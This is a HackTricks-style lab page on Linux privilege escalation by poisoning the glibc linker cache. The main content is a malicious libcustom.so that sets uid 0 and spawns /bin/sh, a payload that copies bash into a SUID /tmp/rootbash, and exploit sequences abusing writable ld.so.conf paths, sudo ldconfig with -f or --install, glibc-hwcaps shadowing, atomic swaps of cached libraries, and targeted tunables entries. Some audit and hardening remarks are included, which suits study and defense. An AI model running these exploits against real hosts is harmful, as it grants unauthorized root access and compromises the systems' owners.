ld-so-conf-example.md (18601B)
1 --- 2 title: "ld.so privesc exploit example" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/interesting-files-permissions/ld.so.conf-example.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/ld.so.conf-example.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # ld.so privesc exploit example 14 15 This page is a focused lab for poisoning the **system linker cache through `/etc/ld.so.conf` or `ldconfig`**. For missing-library injection, writable `RPATH`/`RUNPATH`, `LD_PRELOAD`, and other generic SUID linker abuse, see [SUID Shared Library and Linker Abuse](/hacktricks/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse). 16 17 ## Prepare the environment 18 19 In the following section you can find the code of the files we are going to use to prepare the environment 20 21 ### sharedvuln.c 22 ```c 23 #include <stdio.h> 24 #include "libcustom.h" 25 26 int main(){ 27 printf("Welcome to my amazing application!\n"); 28 vuln_func(); 29 return 0; 30 } 31 ``` 32 33 ### libcustom.h 34 ```c 35 #include <stdio.h> 36 37 void vuln_func(); 38 ``` 39 40 ### libcustom.c 41 ```c 42 #include <stdio.h> 43 44 void vuln_func() 45 { 46 puts("Hi"); 47 } 48 ``` 49 50 51 1. **Create** those files in your machine in the same folder 52 2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` 53 3. **Copy** `libcustom.so` to `/usr/lib` and refresh the cache: `sudo cp libcustom.so /usr/lib && sudo ldconfig` (root privs) 54 4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` 55 56 ### Check the environment 57 58 Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. 59 60 ```text 61 $ ldd sharedvuln 62 linux-vdso.so.1 => (0x00007ffc9a1f7000) 63 libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) 64 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) 65 /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) 66 67 $ ./sharedvuln 68 Welcome to my amazing application! 69 Hi 70 ``` 71 72 ### Useful triage commands 73 74 When attacking a real target, verify the **exact library name** the binary needs, what the loader is **currently resolving**, and which configured paths are writable without mutating the live cache.<sup>[[1]](#references)[[2]](#references)[[5]](#references)</sup> 75 76 ```bash 77 # Needed SONAME and program interpreter 78 readelf -d ./sharedvuln | grep NEEDED 79 interp=$(readelf -l ./sharedvuln | sed -n 's/.*interpreter: \(.*\)]/\1/p') 80 81 # Cached candidates and the path selected by the loader 82 ldconfig -p | grep -F libcustom 83 "$interp" --list ./sharedvuln 2>/dev/null 84 "$interp" --inhibit-cache --list ./sharedvuln 2>/dev/null 85 LD_DEBUG=libs ./sharedvuln 2>&1 | grep -E 'find library|trying file' 86 87 # Configuration, writable config objects, and every component of a configured path 88 grep -RnsEv '^[[:space:]]*(#|$)' /etc/ld.so.conf /etc/ld.so.conf.d 2>/dev/null 89 find /etc/ld.so.conf /etc/ld.so.conf.d -writable -ls 2>/dev/null 90 namei -l /home/ubuntu/lib 91 92 # Enumerate what ldconfig would scan without changing links (-X) or the cache (-N) 93 /sbin/ldconfig -N -X -v 2>/dev/null 94 ``` 95 96 Use `ldd` only on a **trusted** executable. Some implementations or unusual ELF interpreters can cause it to execute attacker-controlled code; `objdump -p ./file | grep NEEDED` safely lists direct dependencies. For a trusted target, invoking the discovered interpreter with `--list` shows actual resolution. Compare that output with `--inhibit-cache --list`: a difference proves that `/etc/ld.so.cache`, rather than an ordinary search-path rule, selected the object.<sup>[[1]](#references)[[4]](#references)</sup> 97 98 A couple of useful gotchas: 99 100 - `sudo echo ... > /etc/ld.so.conf.d/x.conf` usually **doesn't work** because 101 the redirection is done by your current shell. Use 102 `echo "/home/ubuntu/lib" | sudo tee /etc/ld.so.conf.d/privesc.conf` instead. 103 - **SUID/privileged** binaries run in **secure-execution mode**: `LD_LIBRARY_PATH` 104 is ignored, while `LD_PRELOAD` is restricted (slash-containing names are 105 ignored, and only setuid-marked libraries in standard directories may be 106 preloaded). Once root runs `ldconfig`, directories listed in 107 `/etc/ld.so.conf` can enter `/etc/ld.so.cache`, so this misconfiguration can 108 still affect privileged programs.<sup>[[1]](#references)[[2]](#references)</sup> 109 - `LD_DEBUG` is also ignored in secure-execution mode unless `/etc/suid-debug` exists, so collect its trace from an equivalent non-SUID run rather than expecting output from the privileged execution.<sup>[[1]](#references)</sup> 110 - On glibc 2.33 and newer, the dynamic loader also exposes 111 `--list-diagnostics`, which prints machine-readable loader diagnostics and 112 built-in search-path information when a hijack doesn't behave as expected.<sup>[[1]](#references)[[6]](#references)</sup> 113 114 ### Cache and SONAME constraints 115 116 `ldconfig` does not cache every arbitrary file in a configured directory: it examines ELF headers, recognizes names matching `lib*.so*` or `ld-*.so*`, and expects the conventional `libfoo.so -> libfoo.so.1 -> libfoo.so.1.12` chain. The injected object must therefore have the target architecture/class, the exact `DT_NEEDED` name (normally its `DT_SONAME`), and any symbols/versions the victim resolves.<sup>[[2]](#references)</sup> 117 118 ```bash 119 readelf -h /home/ubuntu/lib/libcustom.so | grep -E 'Class:|Machine:' 120 readelf -d /home/ubuntu/lib/libcustom.so | grep SONAME 121 readelf -Ws /home/ubuntu/lib/libcustom.so | grep vuln_func 122 ldconfig -p | grep -F 'libcustom.so' 123 ``` 124 125 Prefer a target-specific library such as this example. Shadowing a common SONAME with an incomplete object can break every process that resolves it before the intended privileged target runs.<sup>[[3]](#references)</sup> 126 127 ### Cached-path persistence and atomic swaps 128 129 The cache records a **library name to pathname** mapping; it does not embed the shared object. After an attacker-controlled pathname is cached, replacing the object at that exact path affects newly started processes without another `ldconfig` run. This enables a useful time-of-check/time-of-use pattern: expose a valid library during an administrator's cache rebuild or inspection, then atomically rename the payload over it. Existing processes keep their already mapped object.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup> 130 131 ```bash 132 cache_path=$("$interp" --list ./sharedvuln | awk '/libcustom\.so/{print $3; exit}') 133 cp ./payload.so "${cache_path}.new" 134 mv -f "${cache_path}.new" "$cache_path" 135 ``` 136 137 Likewise, deleting the malicious line from `ld.so.conf` does not evict an already written entry by itself: the administrator must remove the untrusted object, fix ownership/write access, and rebuild the cache. Use the `--inhibit-cache` comparison above to distinguish a stale cache entry from a still-active configuration path.<sup>[[1]](#references)[[2]](#references)</sup> 138 139 ## Exploit 140 141 In this scenario, suppose an administrator has added a vulnerable entry to a 142 file under `/etc/ld.so.conf.d/` that is included by the system's 143 `/etc/ld.so.conf`.<sup>[[1]](#references)[[2]](#references)</sup> 144 145 ```bash 146 echo "/home/ubuntu/lib" | sudo tee /etc/ld.so.conf.d/privesc.conf 147 ``` 148 149 The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ 150 **Download and compile** the following code inside that path: 151 152 ```c 153 // gcc -shared -fPIC -Wl,-soname,libcustom.so -o libcustom.so libcustom.c 154 155 #include <stdio.h> 156 #include <stdlib.h> 157 #include <unistd.h> 158 #include <sys/types.h> 159 160 void vuln_func(void){ 161 setgid(0); 162 setuid(0); 163 puts("I'm the bad library"); 164 system("/bin/sh"); 165 } 166 ``` 167 168 If you expect **root** (or another privileged account) to execute the vulnerable binary later, it is usually better to leave a **root-owned artifact** instead of spawning an interactive shell. For example: 169 170 ```c 171 system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"); 172 ``` 173 174 Then, after the privileged execution happens, you can use `/tmp/rootbash -p`. 175 176 Now that we have **created the malicious libcustom library inside the misconfigured** path, the default cache must be rebuilt by a successful privileged **`ldconfig`** run. A reboot helps only where the local boot process actually invokes it; otherwise wait for an administrator action or use an unsafe sudo rule if one is available.<sup>[[2]](#references)</sup> 177 178 Once this has happened **recheck** where the `sharedvuln` executable is loading the `libcustom.so` library from: 179 180 ```c 181 $ldd sharedvuln 182 linux-vdso.so.1 => (0x00007ffeee766000) 183 libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) 184 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) 185 /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) 186 ``` 187 188 As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: 189 190 ```c 191 $ ./sharedvuln 192 Welcome to my amazing application! 193 I'm the bad library 194 $ whoami 195 ubuntu 196 ``` 197 198 > [!TIP] 199 > Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. 200 201 ### Modern `glibc-hwcaps` shadowing 202 203 Since glibc 2.33, the loader can prefer optimized libraries below `glibc-hwcaps/<level>/` inside **every library search directory**. Consequently, checking only `/home/ubuntu/lib` is insufficient: a writable compatible subdirectory such as `/home/ubuntu/lib/glibc-hwcaps/x86-64-v3/` can shadow the base library after `ldconfig` indexes it, while other CPUs keep using the base object. This also provides an architecture-selective hijack that can be missed when validation occurs on a different CPU.<sup>[[1]](#references)[[3]](#references)</sup> 204 205 ```bash 206 # The loader prints the supported levels in priority order 207 "$interp" --help | sed -n '/Subdirectories of glibc-hwcaps/,$p' 208 find /home/ubuntu/lib/glibc-hwcaps -type d -writable -ls 2>/dev/null 209 210 # Example for a host that reports x86-64-v3 as supported 211 mkdir -p /home/ubuntu/lib/glibc-hwcaps/x86-64-v3 212 gcc -shared -fPIC -Wl,-soname,libcustom.so \ 213 -o /home/ubuntu/lib/glibc-hwcaps/x86-64-v3/libcustom.so libcustom.c 214 sudo ldconfig 215 ldconfig -p | grep -F libcustom.so 216 "$interp" --list ./sharedvuln | grep -F libcustom.so 217 ``` 218 219 The current glibc hardening guidance recommends avoiding duplicate SONAMEs, non-default search locations, and objects in `glibc-hwcaps` subdirectories. From an audit perspective, apply ownership and writeability checks recursively to configured directories and their parent path components.<sup>[[3]](#references)</sup> 220 221 ### Other misconfigurations - Same vuln 222 223 In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ 224 But there are other misconfigurations that can cause the same vulnerability: if you have **write permissions** in a loaded **config file**, can create a file in a writable `/etc/ld.so.conf.d/` directory, or can write to `/etc/ld.so.conf`, you can configure and exploit the same vulnerability.<sup>[[1]](#references)[[2]](#references)</sup> 225 226 ## Exploit 2 227 228 **Suppose you have sudo privileges over `ldconfig`**. `ldconfig` accepts scan directories as positional arguments, so the shortest cache-poisoning form is often simply:<sup>[[2]](#references)</sup> 229 230 ```bash 231 sudo ldconfig /tmp 232 ``` 233 234 Alternatively, `-f` selects another configuration file while retaining the default cache output. This is useful when an argument filter blocks positional directories but still permits `-f`, or when several paths must be injected:<sup>[[2]](#references)</sup> 235 236 ```bash 237 cd /tmp 238 mkdir -p conf 239 echo "include /tmp/conf/*" > fake.ld.so.conf 240 echo "/tmp" > conf/evil.conf 241 ``` 242 243 Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ 244 And finally, lets load the path and check where is the binary loading the library from: 245 246 ```bash 247 # -f changes the input configuration; the default output is still /etc/ld.so.cache 248 sudo ldconfig -f fake.ld.so.conf 249 250 ldd sharedvuln 251 linux-vdso.so.1 => (0x00007fffa2dde000) 252 libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) 253 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) 254 /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) 255 ``` 256 257 **As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** The option details matter when assessing a constrained sudo rule: `-f` selects another configuration but still rebuilds `/etc/ld.so.cache`; `-C` redirects the cache elsewhere; `-N` prevents cache rebuilding; and `-X` prevents link updates but **still rebuilds the cache unless combined with `-N`**. `-n` implies `-N`, so it can update links in supplied directories but cannot poison the cache; `-r` operates below an alternate root and normally does not change the host cache.<sup>[[2]](#references)</sup> 258 259 ### glibc 2.44: installing a prebuilt cache 260 261 Glibc 2.44 added `ldconfig --install SOURCE`, which atomically copies a prebuilt cache to the selected cache destination (the host `/etc/ld.so.cache` unless `-C` or `-r` changes it). This creates another dangerous argument for sudoers rules and privileged wrappers: an attacker can construct a valid cache **without privileges**, then use the permitted `--install` invocation to replace the system cache. The install path checks the cache magic but does not regenerate its entries from trusted configuration.<sup>[[9]](#references)[[10]](#references)</sup> 262 263 ```bash 264 # Build a valid cache as the unprivileged user. -X avoids changing symlinks. 265 /sbin/ldconfig -X -f /dev/null -t /dev/null \ 266 -C /tmp/evil.ld.so.cache /tmp 267 /sbin/ldconfig -p -C /tmp/evil.ld.so.cache | grep -F libcustom.so 268 269 # Dangerous when sudo permits ldconfig with attacker-selected arguments. 270 sudo /sbin/ldconfig --install /tmp/evil.ld.so.cache 271 "$interp" --list ./sharedvuln | grep -F libcustom.so 272 ``` 273 274 The cache still contains **pathnames**, not library bytes, so `/tmp/libcustom.so` must remain present and compatible when the victim starts. Filters that merely reject `-f`, positional directories, or `-t` are therefore incomplete on glibc 2.44: reject `--install`/`-I` too, or preferably do not delegate `ldconfig` at all.<sup>[[9]](#references)[[10]](#references)</sup> 275 276 ## glibc 2.44: cached system-wide tunables 277 278 Starting with glibc 2.44, `ldconfig` also parses `/etc/tunables.conf` and stores its settings as an extension in `/etc/ld.so.cache`. The file accepts `include` directives and per-process filters. Prefixes control scope: `@`/`onlysecure` targets only `AT_SECURE` processes, `$`/`nonsecure` excludes them, and `*`/`anysecure` covers both. **An unprefixed entry defaults to non-secure processes**, so an attacker must explicitly use `@` or `*` to influence setuid, setgid, or capability-elevated programs. This expands the audit boundary beyond library directories: writable tunables configuration or an included file can influence future program startups after a privileged cache rebuild.<sup>[[7]](#references)[[9]](#references)</sup> 279 280 The same release adds `ldconfig -t TUNCONF`, which selects an alternate tunables file while still writing the normal cache unless another option changes it. Therefore, wrappers and sudo rules that attempted to block only `-f` must also reject `-t`, arbitrary positional directories, `--install`, and cache-output manipulation.<sup>[[7]](#references)[[8]](#references)[[10]](#references)</sup> 281 282 ```bash 283 # Detection / lab-only proof of cache influence 284 find /etc/tunables.conf -writable -ls 2>/dev/null 285 grep -nE '^[[:space:]]*include' /etc/tunables.conf 2>/dev/null 286 ldconfig --help | grep -E 'TUNCONF|tunables' 287 printf '*glibc.malloc.check=3\n' > /tmp/evil.tunconf 288 sudo ldconfig -t /tmp/evil.tunconf 289 "$interp" --list-tunables | grep -F glibc.malloc.check 290 sudo ldconfig # rebuild from the real configuration 291 ``` 292 293 ### Target-selective tunables 294 295 The `[proc:PATTERN]` filter applies the following entries only when the executable's full `/proc/self/exe` path (if `PATTERN` starts with `/`) or basename matches. A filter ends at the next filter, `[]`, the end of the file, or an include-file boundary. This makes a poisoned cache less noisy because the altered behavior can be restricted to one privileged victim.<sup>[[7]](#references)</sup> 296 297 ```ini 298 # Affect only this AT_SECURE executable; "-" also forbids env overrides. 299 [proc:/usr/bin/passwd] 300 -@glibc.malloc.check=3 301 [] 302 ``` 303 304 The `-`/`nonoverridable` prefix prevents `GLIBC_TUNABLES` from overriding a cached value; `+`/`overridable` restores the normal override behavior. For `AT_SECURE` processes the environment variable is ignored entirely anyway. Treat the file format as version-specific—the glibc project does not promise it as a stable interface—and enumerate supported names and values with `"$interp" --list-tunables` before attempting a targeted effect.<sup>[[7]](#references)[[9]](#references)</sup> 305 306 This is not automatically arbitrary code execution. It is a privileged **loader-behavior manipulation** primitive: glibc explicitly warns that system-wide values can apply security-sensitive tunables to setuid/setgid programs without per-tunable security screening. Look for target-specific allocator changes, CPU-hardening changes, or denial-of-service conditions rather than assuming a universal payload.<sup>[[7]](#references)</sup> 307 308 309 ## References 310 311 - [1] [ld.so(8) - Linux manual page](https://man7.org/linux/man-pages/man8/ld.so.8.html) 312 - [2] [ldconfig(8) - Linux manual page](https://man7.org/linux/man-pages/man8/ldconfig.8.html) 313 - [3] [Dynamic Linker Hardening - The GNU C Library](https://sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Hardening.html) 314 - [4] [ldd(1) - Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html) 315 - [5] [readelf (GNU Binary Utilities)](https://www.sourceware.org/binutils/docs/binutils/readelf.html) 316 - [6] [Dynamic Linker Diagnostics (The GNU C Library)](https://sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Diagnostics.html) 317 - [7] [System-wide Tunables (The GNU C Library 2.44)](https://sourceware.org/glibc/manual/2.44/html_node/System_002dwide-Tunables.html) 318 - [8] [Add system-wide tunables: ldconfig part (patch v6 1/4)](https://sourceware.org/pipermail/libc-alpha/2026-March/175984.html) 319 - [9] [The GNU C Library version 2.44 is now available](https://sourceware.org/pipermail/libc-alpha/2026-July/179159.html) 320 - [10] [glibc 2.44 ldconfig source](https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/ldconfig.c;hb=glibc-2.44)